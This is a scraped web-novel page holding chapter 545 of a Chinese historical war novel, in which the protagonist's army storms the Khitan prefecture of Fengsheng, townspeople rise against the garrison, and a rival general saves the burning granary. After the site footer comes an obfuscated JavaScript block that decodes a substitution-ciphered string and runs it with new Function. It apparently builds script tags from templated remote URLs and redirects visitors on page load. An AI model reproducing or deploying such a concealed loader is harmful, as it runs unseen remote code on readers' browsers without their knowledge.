首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第545章 奉圣州

    第545章奉圣州
    十月初,壶流河谷。
    壶流河古称祁夷水,横贯蔚州,流向东北,入冬水势收杀,近岸结了一层薄冰,中流却湍急。
    碎冰顺流而下,相互撞击,冷冷作响。
    两岸河滩冻得铁硬,马蹄一踩发出咚咚声。
    于萧弈而言,这并非坏时节。
    若早半月,冻土未坚,行军马蹄易陷入泥泞;再晚半月,大雪封川,河谷道路尽数掩埋,无从辨路。
    如今地面晨冻午融,马步军一并进发,一日可行六十里路。
    天是灰的。
    塞北寒气与中原不同,往骨缝里钻,萧弈觉得眉梢挂满冰凌,呼出来的白气在头盔下渐渐凝霜,铁甲冰透,碰一下手指就要粘住。
    眼见天色渐暗,前方探马还没归来,他勒住缰绳。
    「传令,休整。」
    环顾一看,士卒们手上裹了粗布,弓箭手都把弓贴肉揣在怀里,因角弓怕严寒脱胶。
    行军途中不举烟火,冷干粮就著雪水咽下,他招诸将议事。
    也没搭帐篷,寻了个避风的地方,撑起仪驾里的罗盖挡雪,地图在大石头上铺开。
    「杨兄,你说说吧。」
    「好。」
    杨业手指沿著壶流河东移,道:「行军三日,我们昨日过了安定县,进入了契丹境内,前方,三里一驿铺,十里一烽燧————」
    「呵。」
    忽有人冷笑了一声。
    是高怀德。
    他抱著手臂倚在一棵树下,与诸将隔著距离,透著一股藩镇子弟的傲。
    杨业道:「高将军为何发笑?」
    「说要击虏,走两天便停了,果然是揣著私心。
    2
    「怎么?你行军不需探马前出?」
    杨业声音也冷下来。
    高怀德嗤笑,道:「孤军深入四百余里,中间两座契丹军州阻隔,这般走法,能立甚大功业?」
    「不错,取的就是这两座军州。」
    萧弈适时开口,没让这两人将话题扯远了。
    「官军北伐须转输粮草,契丹十万大军同样要吃粮,契丹以往作战,不设固定后方辎重,依靠沿途打草谷,劫掠汉地以补给,此番隆冬旷野决战,千里荒原,村落早已清野,无物可掠、无地可抄。山后这西线二州,便是他们依赖的粮道根基。」
    只说到这里,他停下,看向智居润。
    昝居润会意,温言道:「高将军,你来看,往前三十里,壶流河便汇入桑干河,东进便直抵奉圣州城下,此地唐时为新州,也称涿鹿,东距幽州三百里,北距云州四百四十里,乃契丹山后粮草往来的枢纽,契丹西线粮仓便设在此处,山后粮料、衣甲、箭、军械,在此囤积转运。一旦赵王占了它,则敌十万众不战自乱,这一招,成效不亚于契丹奇兵出古北口、夺我檀州,正所谓「来而不往非礼也」。」
    高怀德道:「拿得下才算。」
    杨业不予理会,继续向诸将道:「拿下奉圣州,再向东进兵,可取妫州,妫州乃敌后方主营驻地之一,伤兵转运、二线粮草补给皆汇聚于此,距离耶律璟延庆川主营仅八十余里。扼此山间狭长走廊,则敌西面断一臂膀。」
    说到此处,他一锤定音。
    「克此二州,我军则如一柄利刃,刺入契丹软肋,距睡王心腑仅一寸之隔。」
    诸将皆神色振奋。
    萧弈目光看向高怀德,见他久久沉默。
    那双眼睛里,神色复杂,既有沙场建功的热切渴望,亦藏著不满与纠结。
    「高怀德。」
    萧弈把手中的冷干粮一搁,道:「你对我有任何意见,此刻尽可直言。莫待踏上了战场,违抗军令、贻误战机,反误了你的性命。」
    高怀德一怔,嘴唇动了动,几番欲言,终究又咽了回去。
    「没甚。」
    「不说,那我猜。你出身将门,令尊威名盖世,你自诩武艺卓绝,一心立功扬名,可惜前两次在我摩下,都只看旁人皆有功升迁,独你每每出错担责,心中郁忿,觉得我妨害你。」
    高怀德喉结一滚,道:「那是我时运不济,与你无关,没甚可说的。」
    「那便是因上次阵前交手,我重伤石守信,你与他们义社兄弟交好,替他怀恨在心。
    「」
    「石守信技不如人,战败受创,与我无关。」高怀德语气硬邦邦,道:「我不至于如此小气记恨。」
    「听说赵匡胤打算许配他妹妹于你,所以你是想帮赵家报仇。」
    「元郎尚且不曾提过报仇之事,我何必怀此私愤。」
    萧弈声音一沉,叱道:「这也不是,那也不是。陛下遣你领兵归我节制,我今日坦诚相待,你如今这般抗拒姿态,岂是一方大将该有的模样?!」
    气氛顿时一紧,诸将都绷起了脸。
    高怀德思忖片刻,道:「我有话说。」
    说罢,他径直走了五六步,到了一旁的石边。
    萧弈知是隐秘事,大步过去。
    「但说无妨。」
    高怀德深深瞥了他一眼,压低声音,道:「你不必装模作样,你的狼子野心,我已知晓。」
    「说开。」
    「好,我与张永德私交甚好,他追查赵王作天子」的谶语,最终查实,那块残碑根本就是你派人埋下的。」
    「我?」
    「不认?」
    「有实证?」
    「张永德素来沉稳缜密,从不妄言。」高怀德道:「他所言之事,绝无虚假。」
    萧弈不由沉吟,道:「他具体查到了什么?」
    「套我话?」高怀德道:「此次我领兵来,并非陛下点中了我,而是当时群情汹汹,我主动请命,本意是率军制衡、甚至剿灭你,自出兵便不曾收到归你节制的诏令。智居润带我入蔚州赴宴,我只当他是想借我的武艺斩你首级,再以朝廷军令镇抚诸将。」
    「武艺?」萧弈哂道。
    高怀德眼中自有傲气,随意一瞥,像在说他斩首萧弈不费吹灰之力。
    「昝居润既当众出示圣旨,我不得不从。但我依旧不信你的为人,只不过如今正与契丹决战,我不愿坏了北伐大局罢了。」
    听了这些,萧弈并无恼怒,脑中却已转过数个念头。
    残碑自不是他埋的,张永德竟能查到他。
    是谁能把一桩假事做成铁证?还是张永德故意如此说?
    「待击败契丹,战事了结再慢慢清算罢。」萧弈面上分毫未露,淡淡道:「如今话已说开,战场上你不得迟疑推诿、消极配合,若胆敢误我军机,军法处置!」
    「我自知晓轻重。」高怀德疑惑道:「但你不给我一个解释?」
    「呵。」
    萧弈不予理会。
    他凭甚给高怀德解释。
    正此时,探马疾驰而来。
    「报。」
    「启禀王上,前方情形有异,按契丹军制,本是三里一铺、十里一烽。可我等沿途核查,如今敌军已是两里一铺,每处哨铺都新增了马铺营地,额外增配二十名骑兵值守,是敌军特意加铺增哨、强化守备。」
    「是吗?」
    萧弈有些诧异。
    镇守奉圣州的契丹镇将是耶律海真,竟在前方大战的用兵之际还能顾及后方、主动加固守备。
    「怎么?契丹没信赵延徽传回的消息?我都打算与睡王歃血为盟、义结金兰了。」
    「耶律海真谨慎持重,每日早晚两次点卯,治军严苛、守备严密,恐怕不是庸碌之辈」
    。
    「继续说吧。」
    「是,奉圣州城周七里,城墙高三丈,城北紧邻粮台,粮台垛口高度超于城墙。城内驻汉军五千、契丹兵三千。」
    这般布局,奇袭便难了三分。
    萧弈正看著地图沉思。
    王顺义跨步出列,抱拳道:「王上,末将知晓奉圣州的一些内情。」
    「说说看。」
    「自石晋割让燕云,契丹常年强征城中汉家青丁入伍,编入皮室军,充作奴兵驱使,天显年间,一次便籍全州之兵,城中壮丁十户九空。二十年间,城中兵丁家属尽数滞留城内为人质,担重税,兵役、摇役、赋税层层盘剥,无休无止的压榨。城中百姓对契丹积怨滔天、怨声载道,远胜蔚州。」
    「但守城的汉军是山后诸州调来的,并非奉圣州的乡兵。」
    王顺义依旧坚决,道:「末将与城中几个乡耆有旧,愿先行入城,游说城内守军。」
    萧弈看了他片刻,末了,点头应允。
    「可,带上我的令箭,告诉他们,汉家儿郎不可再为契丹奴从。入城之后莫轻动,待我兵临城下,举火为号。」
    「末将领命!」
    「细猴、胡凳,你二人依旧率游骑先行,扫清前路,拔除沿途所有哨铺,替换我军士卒驻守,每日照常燃起平安火,不可让奉圣州守军察觉丝毫异常。」
    「喏!」
    次日,得了前方游骑清理烽燧的消息,大军继续行军。
    越往东走,河谷越窄。
    终于,到了壶流河入桑干水的河口。
    河水还没完全封冻,中流流凌湍急,冰块起伏,有时如磨盘撞在一处,发出沉闷声响0
    正在河边休整,前方又有探马折返。
    「报,新州城外暗哨察觉我军踪迹,哨骑见势不妙即刻掉头逃窜,我等追击不及,有敌骑走脱。」
    不同于前次疾行,这次是马步军一并行军,终究还是瞒不过契丹游哨。
    萧弈脸色不变,下令道:「渡河。」
    士卒找来几艘渔船,杀了军中的羊,剥下整张羊皮,吹成浮囊,绑在船舷两侧,船便不致被浮冰撞翻。
    即便如此,一次仅能输送半队骑兵。
    冰水刺骨,浸至腿上,顷刻冻得青紫。
    萧弈强咬著牙,才没有发出别的兵士那种咯咯作响声。
    好不容易渡至对岸,只能抓一把雪在脸上、手上猛搓,活血防冻。
    「王上,灌一口暖酒,压一压寒气吧?」
    「士卒们没得喝,我比他们赢弱不成?」
    「末将知罪。」
    「还有棉衣吗?给冻伤的将士裹上,已渡河的,随我先行。」
    「是。」
    萧弈亲率先头骑兵继续行进,马不停蹄。
    急行军一整日。
    当夜二更时分,终于抵达了奉圣州城下。
    他不等气喘匀,招过诸将,当机立断,沉声下令:「连夜攻城。」
    「王上,不等王顺义先给出信号接应吗?」
    「我们给他信号,若奉圣州当真民怨滔天,城中自会有人响应。」
    「是。」
    「王灵芝,选捷岭营锐士,以火药破门。这次,不许有任何差错。」
    「喏!」
    「高怀德,你可愿率先入城、立下首功?」
    一句话问得仓促,高怀德一怔,道:「赵王莫非是舍不得摩下亲兵折损性命,想先消耗我部兵马?」
    「呸。」
    没等萧弈开口,张满屯当场啐了一口,骂道:「懦夫不堪大用。」
    「王上,这废物既不愿立功,这桩大功便交给俺!」
    「我何时说过不愿出战!」
    高怀德眉头骤拧,道:「若真能以火药炸开城门,我如何不敢率先入城?!」
    「打仗,容不得讨价还价。」萧弈声音冷峻,叱道:「你若不愿领命,自交了兵符退出去;若要领功出战,便立军令状,拿不下新州奉圣州,提头来见!」
    这是明晃晃的激将法,料想高怀德也知道。
    但诸将目光齐聚,高怀德也无退路,胸膛起伏两下,咬牙一抱拳,道:「拿下一座新州城有何难?我立军令状便是!」
    萧弈要的就是这句话。
    此人出身将门,心气太高,唯有逼一逼,退一步是军法,进一步是首功,才能把他胸中那口怨气化成上阵的杀气。
    军令既下,当夜,大军便直接袭城。
    雪夜,天光晦暗,唯有积雪反著一层惨澹的微明。
    奉圣州南门。
    城壕半冻,冰面嶙峋。
    萧弈透过望远镜看去,兵士们猫著腰,把一袋袋沙土、一捆捆柴束推入壕中,终于垫出了几条通道。
    忽然。
    「来了!」
    「敌袭!」
    「呜」
    城头契丹守军早得到情报,猛然惊觉,号角骤起。
    箭矢纷纷射下,檑石滚木顺著城墙砸落。闷响如雷。
    「赣辒车,上!」
    车上蒙著浸了水的牛皮,捷岭营的兵士便在赣辒车的掩护下,顶著箭雨逼近城门。
    城门紧闭。
    但赣辒车上还满载著火药囊。
    引信在雪夜里拉出一点红。
    萧弈看著,手心不由捏出一把汗。
    只见那几个灵活的身影转身一滚,落入壕沟当中。
    「轰!」
    「轰!」
    几声巨响撕裂夜幕,火光自门洞内狠狠吐出。
    砖石夯土哗哗而下,气浪扑面而来。
    「高怀德!」
    高怀德扬起长枪,一马当先,大吼道:「随我杀!」
    「杀!」
    殿前司精骑披重铠、持长斧,顺著炸开的门洞便往里冲。
    这边,萧弈也翻身上马,迎面见杨业策马跟过来。
    「杨兄觉得,高怀德与你,谁更勇猛?」
    「上次被石守信所扰,算是战了个平手,至于往后,还得看各自功业。
    2
    「拭目以待。」
    目光落回城门洞内,只见契丹守军早堆好了鹿角、拒马。
    乱箭迎著高怀德及麾下兵马泼洒。
    顷刻间,高怀德面前已堆了一地的尸体,肩头也插了一根流矢,看他的样子却还恍若未觉。
    「挡我者,死!」
    骑兵如椎子,钉进城中,门洞里血肉横飞,硬生生被撕开一道口子。
    瓮城门被炸开了,也关不上了,不怕被瓮中捉鳖,萧弈干脆率河东军随著他们如潮水般灌入,立马于城中调度。
    「杨业,盾槊在前,弓弩上坊墙!逐坊清剿,降者免死!」
    「喏,随我来!」
    「其余人,随我破内城门!夺粮台!」
    「杀!」
    忽然,内城门那边传来了惊涛骇浪般的呼喊。
    「杀虏!」
    「杀虏!」
    萧弈原以为会如同攻克蔚州一般,是城中汉军守将倒戈归降、里应外合。
    但当那扇城门打开,其中景象却全然出乎预料。
    奉圣州城内,与契丹军奋力死战的并不是成建制的汉军,而是普通百姓,白发苍苍的老者、半大的孩童、伤残的男子、柔弱的妇人。
    一个缺了左臂的老者不知从哪里翻出一把磨得薄薄的横刀,抡在一个契丹兵的腰间,与之一同滚进雪泥里;一个妇人担著烧得滚烫的水壶,砸在了守军的头上;一个白发老姻手提钉耙被打掉了,却猛地扑在一名契丹兵身上,又咬又打,声音凄厉。
    在这惨烈的景象间,萧弈仿佛看到了积蓄二十年的怨恨。
    天显年间被籍走的满州壮丁早回不来了,有的死在了鞭子下,有的死在战场。至于活下来的人,已经老了,长大了的孩子没见过父亲就又被籍走,守活寡的妇人熬白了头。
    若没有今夜这一仗,二十年的怨,终将随著一代人的消亡而一同埋葬,葬在燕云三四百年的尘烟里。
    但现在,它爆发出来了。
    「杀虏!」
    街巷中传来一声呐喊,王顺义浑身浴血冲了出来,身后跟著成片反戈的汉军。
    「汉家儿郎不杀自己人,随我杀虏!」
    「带赵王抢粮台!」
    这一声喊,像火星落进油锅。
    城中汉军开始成队成队地倒戈,契丹兵原是五或什人一队,渐渐被淹没在积怨当中。
    城北,粮台。
    萧弈勒马看去,粮台修得比城墙还高,垛口环列,台上一排排粮垛、草料场连绵铺开。
    粟麦以麻袋盛垛,豆料、干草堆积如山,另有木构仓廪数十间。
    望远镜的视线尽头,有一个披著重甲的身影在高台上督战。
    契丹语随著夜风传入他耳中。
    「烧!」
    「将军有令,尽数烧了!」
    「一粒粮、一束草,也不留给南人!」
    」
    」
    萧弈眉头一皱,大喝道:「传我命令,封死台口!不许契丹军烧粮!」
    来不及了。
    耶律海真显然是一听到爆炸就命人备了脂油火把,干草轰地腾起一人多高的火苗,火势借北风,舔上仓檐,浓烟直冲夜空。
    先燃起来的是草料场,西首三排粮垛紧跟著起火,火舌乱窜,照得半边城郭通红。
    天上的落雪都被烤成了雨。
    「弓箭手,压住垛口,莫让虏兵再添火!不降者,格杀勿论!」
    「拆火道,未燃的粮垛,连木架一并拖开!」
    「全军传土袋、雪筐上台,沙土压火,湿毡盖顶!」
    「城中百姓愿来救火者,事后重赏!」
    军令一下,河东军扑向高台。
    城中百姓也动了,毕竟里面的每一粒粮都是从他们身上刮的血汗。
    人们或背土袋或抬起雪筐,自台下往台上递送。
    雪、土、湿毡一层层压上去,火舌却一次次反扑,浓烟呛得人睁不开眼,涕泪横流。
    「你等护粮!殿前司,随我杀光放火虏兵!」
    忽地,一道嘶哑的吼声炸开。
    火光中,竟有两百骑兵径直撞进了已然起火的粮台。
    那其中尽是木梁,是麻袋粟麦、干草豆料,燃烧的橡子随时可能砸落,浓烟翻涌呛鼻,三步外不辨人影。
    高怀德还是如发了疯般不管不顾。
    萧弈皱了皱眉,望远镜随著那模糊的身影游走,见高怀德一枪挑翻一名正往粮垛上泼油的契丹兵。
    然后,就在浓烟里失去了身影。
    「娘的。」
    杀声、火声、木头崩塌声,搅作一团,之后,又是一声契丹语的怒吼。
    「南人敢来?!」
    「受死!」
    那吼声很快被各种杂音盖住。
    萧弈抬头看去,忽见高处的契丹大纛缓缓倒了下来。
    之后,许多契丹兵像是被捅了窝的马蜂一般从大火中蜂拥而出。
    「给我摁住他们,降者受缚,随便冲撞者,斩!」
    逃出的契丹兵肝胆俱裂,大部分拜倒便降,被冲上来的河东军一一按倒。
    少数乱喊乱叫的,被箭矢射死。
    如此,及时阻止了契丹兵继续放火,火势终于被一寸寸压了回去。
    「嘭!」
    随著烧断的椽子轰然倒塌,一道魁梧身影自余火当中撞出。
    高怀德一步一步,跟跄而出。
    他浑身甲胄燎得焦黑,头发蜷曲,满脸烟灰血污,唯有一双眼亮得骇人,先是狠狠盯著杨业看了一会儿,头微微一仰。
    然后,他提著铁枪,行至萧弈马前。
    那枪尖还挑著一颗契丹人的头颅,须发皆焦,环目圆瞪,凶神恶煞。
    又是一声闷响。
    是高怀德一个没站稳,单膝砸进了满是炭灰的污雪地里。
    「敌将耶律海真首级在此!末将————幸不辱命,立下头功!」
    风过粮台,带来一阵焦味。
    烧粮的大火灭了,军中将士胸中那一团收复燕云的火却终于烧起来了。
    >

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o3oihma3gd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/OsO6h^dspf/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"OsO6h^dspf"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8OsO6h^dspf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();